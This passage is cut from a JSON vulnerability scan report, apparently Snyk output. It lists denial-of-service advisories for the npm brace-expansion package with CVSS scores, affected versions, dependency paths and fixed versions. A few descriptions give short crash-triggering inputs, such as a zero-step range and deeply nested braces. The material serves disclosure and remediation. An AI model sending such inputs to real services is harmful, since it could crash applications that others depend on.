"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"sigstore@2.3.1",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
